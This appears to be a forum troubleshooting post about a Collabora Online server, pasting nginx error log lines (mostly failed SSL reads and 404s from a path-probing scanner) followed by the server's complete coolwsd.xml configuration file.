2022/06/09 12:10:50 [crit] 8240#8240: *1726 SSL_read() failed (SSL: error:0A000126:SSL routines::unexpected eof while reading) while keepalive, client: 68.183.34.218, server: 0.0.0.0:443
2022/06/09 12:10:51 [error] 8240#8240: *1729 open() "/usr/share/nginx/html/streaming/clients_live.php" failed (2: No such file or directory), client: 68.183.34.218, server: collabora1.business.za.org, request: "GET /streaming/clients_live.php HTTP/1.1", host: "197.214.119.179"
2022/06/09 12:10:52 [crit] 8240#8240: *1729 SSL_read() failed (SSL: error:0A000126:SSL routines::unexpected eof while reading) while keepalive, client: 68.183.34.218, server: 0.0.0.0:443
2022/06/09 12:10:52 [error] 8240#8240: *1732 open() "/usr/share/nginx/html/stalker_portal/c/version.js" failed (2: No such file or directory), client: 68.183.34.218, server: collabora1.business.za.org, request: "GET /stalker_portal/c/version.js HTTP/1.1", host: "197.214.119.179"
2022/06/09 12:10:53 [crit] 8240#8240: *1732 SSL_read() failed (SSL: error:0A000126:SSL routines::unexpected eof while reading) while keepalive, client: 68.183.34.218, server: 0.0.0.0:443
2022/06/09 12:10:53 [error] 8240#8240: *1735 open() "/usr/share/nginx/html/stream/live.php" failed (2: No such file or directory), client: 68.183.34.218, server: collabora1.business.za.org, request: "GET /stream/live.php HTTP/1.1", host: "197.214.119.179"
2022/06/09 12:10:54 [crit] 8240#8240: *1735 SSL_read() failed (SSL: error:0A000126:SSL routines::unexpected eof while reading) while keepalive, client: 68.183.34.218, server: 0.0.0.0:443
2022/06/09 12:10:55 [error] 8240#8240: *1738 open() "/usr/share/nginx/html/flu/403.html" failed (2: No such file or directory), client: 68.183.34.218, server: collabora1.business.za.org, request: "GET /flu/403.html HTTP/1.1", host: "197.214.119.179"
2022/06/09 12:10:55 [crit] 8240#8240: *1738 SSL_read() failed (SSL: error:0A000126:SSL routines::unexpected eof while reading) while keepalive, client: 68.183.34.218, server: 0.0.0.0:443
2022/06/09 12:10:56 [crit] 8240#8240: *1741 SSL_read() failed (SSL: error:0A000126:SSL routines::unexpected eof while reading) while keepalive, client: 68.183.34.218, server: 0.0.0.0:443
2022/06/09 12:18:25 [crit] 8240#8240: *1743 SSL_read() failed (SSL: error:0A000126:SSL routines::unexpected eof while reading) while keepalive, client: 180.149.125.167, server: 0.0.0.0:443
2022/06/09 12:58:16 [crit] 8240#8240: *1750 SSL_read() failed (SSL: error:0A000126:SSL routines::unexpected eof while reading) while keepalive, client: 185.180.143.5, server: 0.0.0.0:443
2022/06/09 14:13:23 [error] 8240#8240: *1760 open() "/usr/share/nginx/html/favicon.ico" failed (2: No such file or directory), client: 192.168.131.150, server: collabora1.business.za.org, request: "GET /favicon.ico HTTP/1.1", host: "collabora1.business.za.org", referrer: "https://collabora1.business.za.org/"
2022/06/09 14:13:50 [crit] 8240#8240: *1764 SSL_read() failed (SSL: error:0A000126:SSL routines::unexpected eof while reading) while keepalive, client: 167.94.146.60, server: 0.0.0.0:443
2022/06/09 14:14:01 [error] 8240#8240: *1760 open() "/usr/share/nginx/html/adminws" failed (2: No such file or directory), client: 192.168.131.150, server: collabora1.business.za.org, request: "GET /adminws HTTP/1.1", host: "collabora1.business.za.org"

Hope that is helpful albeit in a clunky format…

6

Here’s coolwsd.xml:

root@Collabora1:/var/log# cat /etc/coolwsd/coolwsd.xml
<!-- -*- nxml-child-indent: 4; tab-width: 4; indent-tabs-mode: nil -*- -->
<config>

    <!-- For more detailed documentation on typical configuration options please see:
         https://sdk.collaboraonline.com/docs/installation/Configuration.html -->

    <!-- Note: 'default' attributes are used to document a setting's default value as well as to use as fallback. -->
    <!-- Note: When adding a new entry, a default must be set in WSD in case the entry is missing upon deployment. -->

    <allowed_languages desc="List of supported languages of Writing Aids (spell checker, grammar checker, thesaurus, hyphenation) on this instance. Allowing too many has negative effect on startup performance." default="de_DE en_GB en_US nl ru">de_DE en_GB en_US nl ru</allowed_languages>

    <sys_template_path desc="Path to a template tree with shared libraries etc to be used as source for chroot jails for child processes." type="path" relative="true" default="systemplate"></sys_template_path>
    <child_root_path desc="Path to the directory under which the chroot jails for the child processes will be created. Should be on the same file system as systemplate and lotemplate. Must be an empty directory." type="path" relative="true" default="jails"></child_root_path>
    <mount_jail_tree desc="Controls whether the systemplate and lotemplate contents are mounted or not, which is much faster than the default of linking/copying each file." type="bool" default="true"></mount_jail_tree>

    <server_name desc="External hostname:port of the server running coolwsd. If empty, it's derived from the request (please set it if this doesn't work). May be specified when behind a reverse-proxy or when the hostname is not reachable directly." type="string" default="">collabora1.business.za.org</server_name>
    <file_server_root_path desc="Path to the directory that should be considered root for the file server. This should be the directory containing cool." type="path" relative="true" default="browser/../"></file_server_root_path>
    <hexify_embedded_urls desc="Enable to protect encoded URLs from getting decoded by intermediate hops. Particularly useful on Azure deployments" type="bool" default="false"></hexify_embedded_urls>
    <experimental_features desc="Enable/Disable experimental features" type="bool" default="false">false</experimental_features>

    <memproportion desc="The maximum percentage of system memory consumed by all of the Collabora Online Development Edition, after which we start cleaning up idle documents" type="double" default="80.0"></memproportion>
    <num_prespawn_children desc="Number of child processes to keep started in advance and waiting for new clients." type="uint" default="1">1</num_prespawn_children>
    <!-- <fetch_update_check desc="Every number of hours will fetch latest version data. Defaults to 10 hours." type="uint" default="10">10</fetch_update_check> -->
    <per_document desc="Document-specific settings, including LO Core settings.">
        <max_concurrency desc="The maximum number of threads to use while processing a document." type="uint" default="4">4</max_concurrency>
        <batch_priority desc="A (lower) priority for use by batch eg. convert-to processes to avoid starving interactive ones" type="uint" default="5">5</batch_priority>
        <document_signing_url desc="The endpoint URL of signing server, if empty the document signing is disabled" type="string" default=""></document_signing_url>
        <redlining_as_comments desc="If true show red-lines as comments" type="bool" default="false">false</redlining_as_comments>
        <pdf_resolution_dpi desc="The resolution, in DPI, used to render PDF documents as image. Memory consumption grows proportionally. Must be a positive value less than 385. Defaults to 96." type="uint" default="96">96</pdf_resolution_dpi>
        <idle_timeout_secs desc="The maximum number of seconds before unloading an idle document. Defaults to 1 hour." type="uint" default="3600">3600</idle_timeout_secs>
        <!-- Idle save and auto save are checked every 30 seconds -->
        <!-- They are disabled when the value is zero or negative. -->
        <idlesave_duration_secs desc="The number of idle seconds after which document, if modified, should be saved. Defaults to 30 seconds." type="int" default="30">30</idlesave_duration_secs>
        <autosave_duration_secs desc="The number of seconds after which document, if modified, should be saved. Defaults to 5 minutes." type="int" default="300">300</autosave_duration_secs>
        <always_save_on_exit desc="On exiting the last editor, always perform the save, even if the document is not modified." type="bool" default="false">false</always_save_on_exit>
        <limit_virt_mem_mb desc="The maximum virtual memory allowed to each document process. 0 for unlimited." type="uint">0</limit_virt_mem_mb>
        <limit_stack_mem_kb desc="The maximum stack size allowed to each document process. 0 for unlimited." type="uint">8000</limit_stack_mem_kb>
        <limit_file_size_mb desc="The maximum file size allowed to each document process to write. 0 for unlimited." type="uint">0</limit_file_size_mb>
        <limit_num_open_files desc="The maximum number of files allowed to each document process to open. 0 for unlimited." type="uint">0</limit_num_open_files>
        <limit_load_secs desc="Maximum number of seconds to wait for a document load to succeed. 0 for unlimited." type="uint" default="100">100</limit_load_secs>
        <limit_store_failures desc="Maximum number of consecutive save-and-upload to storage failures when unloading the document. 0 for unlimited (not recommended)." type="uint" default="5">5</limit_store_failures>
        <limit_convert_secs desc="Maximum number of seconds to wait for a document conversion to succeed. 0 for unlimited." type="uint" default="100">100</limit_convert_secs>
        <cleanup desc="Checks for resource consuming (bad) documents and kills associated kit process. A document is considered resource consuming (bad) if is in idle state for idle_time_secs period and memory usage passed limit_dirty_mem_mb or CPU usage passed limit_cpu_per" enable="true">
            <cleanup_interval_ms desc="Interval between two checks" type="uint" default="10000">10000</cleanup_interval_ms>
            <bad_behavior_period_secs desc="Minimum time period for a document to be in bad state before associated kit process is killed. If in this period the condition for bad document is not met once then this period is reset" type="uint" default="60">60</bad_behavior_period_secs>
            <idle_time_secs desc="Minimum idle time for a document to be candidate for bad state" type="uint" default="300">300</idle_time_secs>
            <limit_dirty_mem_mb desc="Minimum memory usage for a document to be candidate for bad state" type="uint" default="3072">3072</limit_dirty_mem_mb>
            <limit_cpu_per desc="Minimum CPU usage for a document to be candidate for bad state" type="uint" default="85">85</limit_cpu_per>
            <lost_kit_grace_period_secs desc="The minimum grace period for a lost kit process (not referenced by coolwsd) to resolve its lost status before it is terminated. To disable the cleanup of lost kits use value 0" default="120">120</lost_kit_grace_period_secs>
        </cleanup>
    </per_document>

    <per_view desc="View-specific settings.">
        <group_download_as desc="If set to true, groups download as icons into a dropdown for the notebookbar view." type="bool" default="false">false</group_download_as>
        <out_of_focus_timeout_secs desc="The maximum number of seconds before dimming and stopping updates when the browser tab is no longer in focus. Defaults to 120 seconds." type="uint" default="120">120</out_of_focus_timeout_secs>
        <idle_timeout_secs desc="The maximum number of seconds before dimming and stopping updates when the user is no longer active (even if the browser is in focus). Defaults to 15 minutes." type="uint" default="900">900</idle_timeout_secs>
    </per_view>

    <ver_suffix desc="Appended to etags to allow easy refresh of changed files during development" type="string" default=""></ver_suffix>

    <logging>
        <color type="bool">true</color>
        <!--
             Note to developers: When you do "make run", the logging.level will be set on the
             coolwsd command line, so if you want to change it for your testing, do it in
             Makefile.am, not here.
        -->
        <level type="string" desc="Can be 0-8 (with the lowest numbers being the least verbose), or none (turns off logging), fatal, critical, error, warning, notice, information, debug, trace" default="warning">warning</level>
        <most_verbose_level_settable_from_client type="string" desc="A loggingleveloverride message from the client can not set a more verbose log level than this" default="notice">notice</most_verbose_level_settable_from_client>
        <least_verbose_level_settable_from_client type="string" desc="A loggingleveloverride message from a client can not set a less verbose log level than this" default="fatal">fatal</least_verbose_level_settable_from_client>
        <protocol type="bool" desc="Enable minimal client-site JS protocol logging from the start">false</protocol>
        <!-- lokit_sal_log example: Log WebDAV-related messages, that is interesting for debugging Insert - Image operation: "+TIMESTAMP+INFO.ucb.ucp.webdav+WARN.ucb.ucp.webdav"
             See also: https://docs.libreoffice.org/sal/html/sal_log.html -->
        <lokit_sal_log type="string" desc="Fine tune log messages from LOKit. Default is to suppress log messages from LOKit." default="-INFO-WARN">-INFO-WARN</lokit_sal_log>
        <file enable="false">
            <!-- If you use other path than /var/log and you run coolwsd from systemd, make sure that you enable that path in coolwsd.service (ReadWritePaths). -->
            <property name="path" desc="Log file path.">/var/log/coolwsd.log</property>
            <property name="rotation" desc="Log file rotation strategy. See Poco FileChannel.">never</property>
            <property name="archive" desc="Append either timestamp or number to the archived log filename.">timestamp</property>
            <property name="compress" desc="Enable/disable log file compression.">true</property>
            <property name="purgeAge" desc="The maximum age of log files to preserve. See Poco FileChannel.">10 days</property>
            <property name="purgeCount" desc="The maximum number of log archives to preserve. Use 'none' to disable purging. See Poco FileChannel.">10</property>
            <property name="rotateOnOpen" desc="Enable/disable log file rotation on opening.">true</property>
            <property name="flush" desc="Enable/disable flushing after logging each line. May harm performance. Note that without flushing after each line, the log lines from the different processes will not appear in chronological order.">false</property>
        </file>
        <anonymize>
            <anonymize_user_data type="bool" desc="Enable to anonymize/obfuscate of user-data in logs. If default is true, it was forced at compile-time and cannot be disabled." default="false">false</anonymize_user_data>
            <anonymization_salt type="uint" desc="The salt used to anonymize/obfuscate user-data in logs. Use a secret 64-bit random number." default="82589933">82589933</anonymization_salt>
        </anonymize>
        <docstats type="bool" desc="Enable to see document handling information in logs." default="false">false</docstats>
    </logging>

    <!--
         Note to developers: When you do "make run", the trace_event[@enable] will be set on the
         coolwsd command line, so if you want to change it for your testing, do it in Makefile.am,
         not here.
    -->
    <trace_event desc="The possibility to turn on generation of a Chrome Trace Event file" enable="false">
        <path desc="Output path for the Trace Event file, to which they will be written if turned on at run-time" type="string" default="/var/log/coolwsd.trace.json">/var/log/coolwsd.trace.json</path>
    </trace_event>

    <browser_logging desc="Logging in the browser console" default="false">false</browser_logging>

    <trace desc="Dump commands and notifications for replay. When 'snapshot' is true, the source file is copied to the path first." enable="false">
        <path desc="Output path to hold trace file and docs. Use '%' for timestamp to avoid overwriting. For example: /some/path/to/cooltrace-%.gz" compress="true" snapshot="false"></path>
        <filter>
            <message desc="Regex pattern of messages to exclude"></message>
        </filter>
        <outgoing>
            <record desc="Whether or not to record outgoing messages" default="false">false</record>
        </outgoing>
    </trace>

    <net desc="Network settings">
      <!-- On systems where localhost resolves to IPv6 [::1] address first, when net.proto is all and net.listen is loopback, coolwsd unexpectedly listens on [::1] only.
           You need to change net.proto to IPv4, if you want to use 127.0.0.1. -->
      <proto type="string" default="all" desc="Protocol to use IPv4, IPv6 or all for both">all</proto>
      <listen type="string" default="any" desc="Listen address that coolwsd binds to. Can be 'any' or 'loopback'.">any</listen>
      <!-- this allows you to shift all of our URLs into a sub-path from
           https://my.com/browser/a123... to https://my.com/my/sub/path/browser/a123... -->
      <service_root type="path" default="" desc="Prefix all the pages, websockets, etc. with this path."></service_root>
      <post_allow desc="Allow/deny client IP address for POST(REST)." allow="true">
        <host desc="The IPv4 private 192.168 block as plain IPv4 dotted decimal addresses.">192\.168\.[0-9]{1,3}\.[0-9]{1,3}</host>
        <host desc="Ditto, but as IPv4-mapped IPv6 addresses">::ffff:192\.168\.[0-9]{1,3}\.[0-9]{1,3}</host>
        <host desc="The IPv4 loopback (localhost) address.">127\.0\.0\.1</host>
        <host desc="Ditto, but as IPv4-mapped IPv6 address">::ffff:127\.0\.0\.1</host>
        <host desc="The IPv6 loopback (localhost) address.">::1</host>
        <host desc="The IPv4 private 172.16.0.0/12 subnet part 1.">172\.1[6789]\.[0-9]{1,3}\.[0-9]{1,3}</host>
        <host desc="Ditto, but as IPv4-mapped IPv6 addresses">::ffff:172\.1[6789]\.[0-9]{1,3}\.[0-9]{1,3}</host>
        <host desc="The IPv4 private 172.16.0.0/12 subnet part 2.">172\.2[0-9]\.[0-9]{1,3}\.[0-9]{1,3}</host>
        <host desc="Ditto, but as IPv4-mapped IPv6 addresses">::ffff:172\.2[0-9]\.[0-9]{1,3}\.[0-9]{1,3}</host>
        <host desc="The IPv4 private 172.16.0.0/12 subnet part 3.">172\.3[01]\.[0-9]{1,3}\.[0-9]{1,3}</host>
        <host desc="Ditto, but as IPv4-mapped IPv6 addresses">::ffff:172\.3[01]\.[0-9]{1,3}\.[0-9]{1,3}</host>
        <host desc="The IPv4 private 10.0.0.0/8 subnet (Podman).">10\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}</host>
        <host desc="Ditto, but as IPv4-mapped IPv6 addresses">::ffff:10\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}</host>
      </post_allow>
      <frame_ancestors desc="Specify who is allowed to embed the Collabora Online iframe (coolwsd and WOPI host are always allowed). Separate multiple hosts by space."></frame_ancestors>
      <connection_timeout_secs desc="Specifies the connection, send, recv timeout in seconds for connections initiated by coolwsd (such as WOPI connections)." type="int" default="30"></connection_timeout_secs>

      <!-- this setting radically changes how online works, it should not be used in a production environment -->
      <proxy_prefix type="bool" default="false" desc="Enable a ProxyPrefix to be passed int through which to redirect requests"></proxy_prefix>
    </net>

    <ssl desc="SSL settings">
        <!-- switches from https:// + wss:// to http:// + ws:// -->
        <enable type="bool" desc="Controls whether SSL encryption between coolwsd and the network is enabled (do not disable for production deployment). If default is false, must first be compiled with SSL support to enable." default="true">false</enable>
        <!-- SSL off-load can be done in a proxy, if so disable SSL, and enable termination below in production -->
        <termination desc="Connection via proxy where coolwsd acts as working via https, but actually uses http." type="bool" default="true">true</termination>
        <cert_file_path desc="Path to the cert file" relative="false">/etc/coolwsd/cert.pem</cert_file_path>
        <key_file_path desc="Path to the key file" relative="false">/etc/coolwsd/key.pem</key_file_path>
        <ca_file_path desc="Path to the ca file" relative="false">/etc/coolwsd/ca-chain.cert.pem</ca_file_path>
        <cipher_list desc="List of OpenSSL ciphers to accept" default="ALL:!ADH:!LOW:!EXP:!MD5:@STRENGTH"></cipher_list>
        <hpkp desc="Enable HTTP Public key pinning" enable="false" report_only="false">
            <max_age desc="HPKP's max-age directive - time in seconds browser should remember the pins" enable="true">1000</max_age>
            <report_uri desc="HPKP's report-uri directive - pin validation failure are reported at this URL" enable="false"></report_uri>
            <pins desc="Base64 encoded SPKI fingerprints of keys to be pinned">
            <pin></pin>
            </pins>
        </hpkp>
        <sts desc="Strict-Transport-Security settings, per rfc6797. Subdomains are always included.">
            <enabled desc="Whether or not Strict-Transport-Security is enabled. Enable only when ready for production. Cannot be disabled without resetting the browsers." type="bool" default="false">false</enabled>
            <max_age desc="Strict-Transport-Security max-age directive, in seconds. 0 is allowed; please see rfc6797 for details. Defaults to 1 year." type="int" default="31536000">31536000</max_age>
        </sts>
    </ssl>

    <security desc="Altering these defaults potentially opens you to significant risk">
      <seccomp desc="Should we use the seccomp system call filtering." type="bool" default="true">true</seccomp>
      <capabilities desc="Should we require capabilities to isolate processes into chroot jails" type="bool" default="true">true</capabilities>
      <jwt_expiry_secs desc="Time in seconds before the Admin Console's JWT token expires" type="int" default="1800">1800</jwt_expiry_secs>
      <enable_macros_execution desc="Specifies whether the macro execution is enabled in general. This will enable Basic, Beanshell, Javascript and Python scripts. If it is set to false, the macro_security_level is ignored. If it is set to true, the mentioned entry specified the level of macro security." type="bool" default="false">false</enable_macros_execution>
      <macro_security_level desc="Level of Macro security. 1 (Medium) Confirmation required before executing macros from untrusted sources. 0 (Low, not recommended) All macros will be executed without confirmation." type="int" default="1">1</macro_security_level>
      <enable_metrics_unauthenticated desc="When enabled, the /cool/getMetrics endpoint will not require authentication." type="bool" default="false">false</enable_metrics_unauthenticated>
    </security>

    <certificates>
      <database_path type="string" desc="Path to the NSS certificates that are used for signing documents" default=""></database_path>
    </certificates>

    <watermark>
      <opacity desc="Opacity of on-screen watermark from 0.0 to 1.0" type="double" default="0.2"></opacity>
      <text desc="Watermark text to be displayed on the document if entered" type="string"></text>
    </watermark>


    <user_interface>
      <mode type="string" desc="Controls the user interface style. The 'default' means: Take the value from ui_defaults, or decide for one of compact or tabbed (default|compact|tabbed)" default="default">default</mode>
      <use_integration_theme desc="Use theme from the integrator" type="bool" default="true">true</use_integration_theme>
    </user_interface>

    <storage desc="Backend storage">
        <filesystem allow="false" />
        <wopi desc="Allow/deny wopi storage." allow="true">
            <max_file_size desc="Maximum document size in bytes to load. 0 for unlimited." type="uint">0</max_file_size>
            <locking desc="Locking settings">
                <refresh desc="How frequently we should re-acquire a lock with the storage server, in seconds (default 15 mins) or 0 for no refresh" type="int" default="900">900</refresh>
            </locking>

            <alias_groups desc="default mode is 'first' it allows only the first host when groups are not defined. set mode to 'groups' and define group to allow multiple host and its aliases" mode="first">
            <!-- If you need to use multiple wopi hosts, please change the mode to "groups" and
                    add the hosts below.  If one host is accessible under multiple ip addresses
                    or names, add them as aliases. -->
            <!--<group>
                    <host desc="hostname to allow or deny." allow="true">scheme://hostname:port</host>
                    <alias desc="regex pattern of aliasname">scheme://aliasname1:port</alias>
                    <alias desc="regex pattern of aliasname">scheme://aliasname2:port</alias>
            </group>-->
            <!-- More "group"s possible here -->
            </alias_groups>

        </wopi>
        <ssl desc="SSL settings">
            <as_scheme type="bool" default="true" desc="When set we exclusively use the WOPI URI's scheme to enable SSL for storage">false</as_scheme>
            <enable type="bool" desc="If as_scheme is false or not set, this can be set to force SSL encryption between storage and coolwsd. When empty this defaults to following the ssl.enable setting"></enable>
            <cert_file_path desc="Path to the cert file" relative="false"></cert_file_path>
            <key_file_path desc="Path to the key file" relative="false"></key_file_path>
            <ca_file_path desc="Path to the ca file. If this is not empty, then SSL verification will be strict, otherwise cert of storage (WOPI-like host) will not be verified." relative="false"></ca_file_path>
            <cipher_list desc="List of OpenSSL ciphers to accept. If empty the defaults are used. These can be overridden only if absolutely needed."></cipher_list>
        </ssl>
    </storage>

    <tile_cache_persistent desc="Should the tiles persist between two editing sessions of the given document?" type="bool" default="true">true</tile_cache_persistent>

    <admin_console desc="Web admin console settings.">
        <enable desc="Enable the admin console functionality" type="bool" default="true">true</enable>
        <enable_pam desc="Enable admin user authentication with PAM" type="bool" default="false">false</enable_pam>
        <username desc="The username of the admin console. Ignored if PAM is enabled."></username>
        <password desc="The password of the admin console. Deprecated on most platforms. Instead, use PAM or coolconfig to set up a secure password."></password>
    </admin_console>

    <monitors desc="Addresses of servers we connect to on start for monitoring">
    </monitors>

    <quarantine_files desc="Files are stored here to be examined later in cases of crashes or similar situation." default="false" enable="false">
        <limit_dir_size_mb desc="Maximum directory size. On exceeding the specified limit, older files will be deleted." default="250" type="uint"></limit_dir_size_mb>
        <max_versions_to_maintain desc="How many versions of the same file to keep." default="2" type="uint"></max_versions_to_maintain>
        <path desc="Path to directory under which quarantined files will be stored" type="path" relative="true" default="quarantine"></path>
        <expiry_min desc="Time in mins after quarantined files will be deleted." type="int" default="30"></expiry_min>
    </quarantine_files>

    <remote_config>
        <remote_url desc="remote server to which you will send resquest to get remote config in response" type="string" default=""></remote_url>
    </remote_config>

    <remote_font_config>
        <url desc="URL of optional JSON file that lists fonts to be included in Online" type="string" default=""></url>
    </remote_font_config>
    </config>